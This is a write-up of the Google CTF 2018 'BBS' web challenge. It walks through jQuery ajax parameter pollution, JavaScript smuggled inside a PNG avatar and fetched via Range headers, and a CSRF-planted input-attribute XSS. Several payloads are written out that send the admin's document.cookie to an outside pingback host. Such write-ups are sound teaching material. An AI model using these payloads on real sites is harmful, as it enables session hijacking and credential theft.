Tags: csrf xss 

Rating: 5.0

# Google CTF Quals 2018 BBS

This is a writeup of solutions for the BBS web challenge from the Google CTF 2018 Quals event.
I'll explore the process of exploiting this website and the two different solutions I came up with to solve it.
## Challenge Overview

The challenge links us to https://bbs.web.ctfcompetition.com/ with a warning that no memes are allowed.
![](https://itszn.com/u/d1d8a9e3a925b63add12ce028e4c245647a5cd38.png)

The page has a retro DOS inspired theme. It features a user account system, a message board,
and a profile page.
The majority of the functionality is implemented on the client side in `assets/app.js`, which is a
webpacked javascript app including a URL parsing library.

The message board page allows you to post a message and even reply to previous messages using `>>number`.
Post replies can be hovered over to load an iframe of the post in question.

There is also a report functionality which alerts the admin. The goal seems to be to steal the admin's
session and
read some secret information.

### Message Board

When loading the message board, the client runs this code
```javascript
function load_posts() {
$.ajax('/ajax/posts').then((text) => {
$('#bbs').html(atob(text));
linkify();
});
}
```

This sends a GET request to `/ajax/posts`, which gives the HTML for the current posts encoded in base64.
The client decodes the base64, and writes the HTML to the webpage without sanitation. However when the
user submits a post, it is sanitized on the server before being saved. So the HTML will be pre-sanitized
before being written to the page.

`linkify` looks for text matching `>>number` format and creates reply elements for them. Each elements
creates an iframe that loads `/post?p=/ajax/post/<number>`:

```javascript
var f = document.createElement('iframe');
f.id = 'f'+id;
$(f).addClass('preview');
f.src = '/post?p=/ajax/post/'+id;
$(el).parent().append(f);
```

Lets explore these two new endpoints. `/ajax/post/<number>` will take a post id and return the contents
encoded in base64. If the post number does not exist or cannot be viewed it returns "Private Post" encoded
instead. The body is still sanitized like before.

The `/post` endpoint is purely clientside logic again:

```javascript
function load_post() {
var q = qs.parse(location.search, {ignoreQueryPrefix: true});
var url = q.p;

$.ajax(url).then((text) => {
$('#post').html(atob(text));
});
}
```

We can see that it uses the URL parsing library to parse the search query. The target url is parameter `p`
on the resulting object. The client requests that url using jquery's `$.ajax` method. The results is base64 decoded and rendered as HTML.

At first glance you might think you can simply encode an XSS payload in base64 on some other CORS enabled site and load it using the ajax call, but you will find there is a Content Security Policy blocking you:

```
content-security-policy: default-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval';
```

XMLHttpRequest based ajax calls obey the `connect-src` CSP rule. Since none is set here, the `default-src` is used, only allowing ajax requests on the same origin. We will need to find a to store our base64 payload somewhere on the site.

### Profile Page

The profile page allows you to change your password, set a website, and upload a profile picture.

![](https://itszn.com/u/202c4464617f10563c2b0ce2cfe38df22866e714.png)

The profile image sticks out as a potential place to store a payload. We cannot directly use it as
the server enforces that it must be a valid PNG, and even resizes it to 64x64 pixels.

### Report Endpoint

When clicking report, the client sends a POST request to `/report` with the path to visit.
The server requires that the path starts with `/admin/`, but that endpoint is not very useful and just
seems broken. However, we can `/admin/../<path>` to instead have the admin visit any other page on the site.

## Building an Exploit

We have found a vulnerable endpoint and have a target. Now we need to find somewhere to put our payload.
Trying to load the profile image with `/post` endpoint directly won't work as it is not base64 itself.
So we will need one more trick to be able to store our base64 payload in the image.

### `.ajax` Parameter Polution

Taking a closer look at the URL parsing library included with the app, we see that it returns the URL
parameters as an object. If we try the URL parameter object notation, we see that we can control
the object keys and values. For example: `/post?p[key1]=value1&p[key2][key3]=value2` will result in this
object:
```
{
p: {
key1: 'value1',
key2: {
key3: 'value2'
}
}
}
```

If you look at the [docs for .ajax](https://api.jquery.com/jquery.ajax/) you can see that it takes either
a single url or an object full of settings. We can now provide that object, and set any setting we want.

### Range Header

The trick to grabbing just a small part of our profile image is by setting the `Range` header.
This header tells the server to provide just a specific part of a static file. This will not work
on dynamic paths and paths that the browser refuses to cache.

If we can embed the XSS into the PNG, we can now surgically request it on `/post` like this:
```
https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/x&p[headers][Range]=bytes=start-end
```

### Embedding XSS

Placing the XSS into a valid PNG is actually tricky, since PNGs employ both compression and filtering.
We can attempt to defeat the compression by including mostly random pixels. This will be uncompressible
and will likely result in the compressed data being very similar to the uncompressed data. We can also place
the payload at the end of our image and brute force the random pixels until the filtering happens to
leave it untouched.

So the process is pretty simple:
* Generate random data to fill 64x64 image
* Place payload at the end
* Generate PNG with data and check if our payload is still in it after compression and filtering
* Repeat if not

For short payloads it works almost instantly.

Here is an example payload with alert("hello") embedded near the end:

![](https://itszn.com/u/620a2a8c87e4d627907d33c6afc082a954d0c1dc.png)

Visit this link to see it in action: (Read on to see why we use dataType and don't base64 encode)

[https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/5cdad7fcb6d6b9fead46746a7be8b457&p[headers][Range]=bytes=12397-12410&p[dataType]=script](https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/5cdad7fcb6d6b9fead46746a7be8b457&p[headers][Range]=bytes=12397-12410&p[dataType]=script)

## Building a Larger Payload

The longer our payload is, the harder it is to generate a PNG with it embedded inside.
Its even worse if we have to base64 encode the payload as well. Including script tags,
we can fit about 7 characters of javascript.

This is no good, `document.cookie` alone is longer than that. We need to figure out how to
create a larger payload.

The first thing we can do is ditch the base64 and the script tags. Right now we rely on the
client setting running our payload with `$('#post').html(atob(text))`. However since we control
the parameters to the ajax call, there is actually a more direct method. Jquery supports a `dataType`
parameter which hints it what kind of data will be returned.
There is a special case for when `dataType` is set to`"script"`. In this case it will actually execute
the response before doing anything else. We can take advantage of this to turn our payload into
pure javascript:

```
https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/x&p[headers][Range]=bytes=x-y&p[dataType]=script
```

Now we can execute around 32 characters of javascript easily. However its still not enough. If we want
to have our payload be something like `location='//abc.yz/'+document.cookie` we need around 36-40 characters.

Trying something like `eval(location.hash)` won't work either, since `location.hash` will always start
with the `#`, which will cause a syntax error. I also tried looking at `eval(location.path)`.
If we could get the path to be something like `/post/;location='//abc.yz/'+document.cookie` we could
use it. However, although the server still responds with the same page for any path starting with `/post`,
the `app.js` script is loaded relative (`assets/app.js`) and so it 404s. If it instead was
`/assets/app.js/` this would have worked.

### Off Domain Payload
Although we cannot steal the cookie yet, we can now redirect them to our own domain.
This gives us more flexibility in what we can do.

I embedded `location="//itszn.com/a"` into a PNG and built this url:
```
https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/073187dafeb1b8ae4bc71ae4d8f313eb&p[headers][Range]=bytes=12385-12408&p[dataType]=script
```

Visiting the url will redirect you to my controlled page.

Using this page, I came up with two methods to extract the admin's cookie:

### Solution #1: window.name

There is not a lot of information that can be reflected from redirecting a user to a url
without being on the same origin.
You can store a payload in the query or the hash or other parts of the url, but none of those work in
this case.

There is one cross-domain value that we can set: `window.name`. This is a persistent value which is
kept for all pages open in a given tab or window. One origin can set it, and another can read it at will.
It can also be set for new windows with the name attribute of an iframe or with the `window.open` method.

In our case we cannot use iframes since `x-frame-options` header is set to `SAMEORIGIN`. We also cannot use `window.open` since the user has not interacted with our page yet.

We are able to manual set it and redirect. The payload we store in it will remain after the location change.

To finish the payload, we can embed `eval(name)` into our PNG and build the XSS url:
```html
<script>
window.name="location=`http://itszn.com/pingback/`+document.cookie";
location="https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/c00d237b88096add109008243a6941fb&p[headers][Range]=bytes=12400-12409&p[dataType]=script";
</script>
```

Running this code on `https://itszn.com/a` will set `window.name`, redirect to the second XSS payload, and then redirect back again with the admin's cookie.

Sending this to the admin I get a response with the flag: `CTF{yOu_HaVe_Been_b&}`

### Solution #2: CSRF

The second method is abusing a bug with the profile page. Once you have set a website, it will then
fill the form with that value when the page is loaded in the future:
```html
<input type="text" name="website" class="input-block-level" placeholder="Website" value=helloworld>
```

This value is sanitized of all quotes and angle brackets, so we cannot escape out of the tag, but since
quotes were not used in the first place, we can create other attributes.

As this is an `<input>` tag, the easiest way to get code execution is with `onfocus` and `autofocus`
attributes.

```
asdf onfocus=alert(1) autofocus
```
This website payload becomes:
```
<input type="text" name="website" class="input-block-level" placeholder="Website" value=asdf onfocus=alert(1) autofocus>
```

We can steal the cookie without single or double quotes like this:
```
asdf onfocus=location=`http://itszn.com/pingback/`+document.cookie autofocus
```

Now we just need to set this website value in the first place. Luckily the website does not have any Cross-Site Request Forgery protection, so we can fake a post request from our own domain.

The only issue is that an input named `submit` is required. Thanks to how great browsers are this will
replace the form's native submit function. We can prevent this by saving a reference under a different name
before adding the submit input to the form:
```html
<form id="f" action="https://bbs.web.ctfcompetition.com/profile" method="POST" enctype="multipart/form-data">
<input type="password" name="password">
<input type="password" name="password2">
<input name="website" value="asdf onfocus=location=`http://itszn.com/pingback/`+document.cookie autofocus">
<input type="file" name="avatar">
</form>
<script>
f.submitt = f.submit;
i=document.createElement('input');
i.name="submit";
f.append(i);
f.submitt();
</script>
```

Redirecting to this page will cause a CSRF post request to be made installing the XSS payload and also redirect back to the profile page triggering it. All this will send the cookie our way again.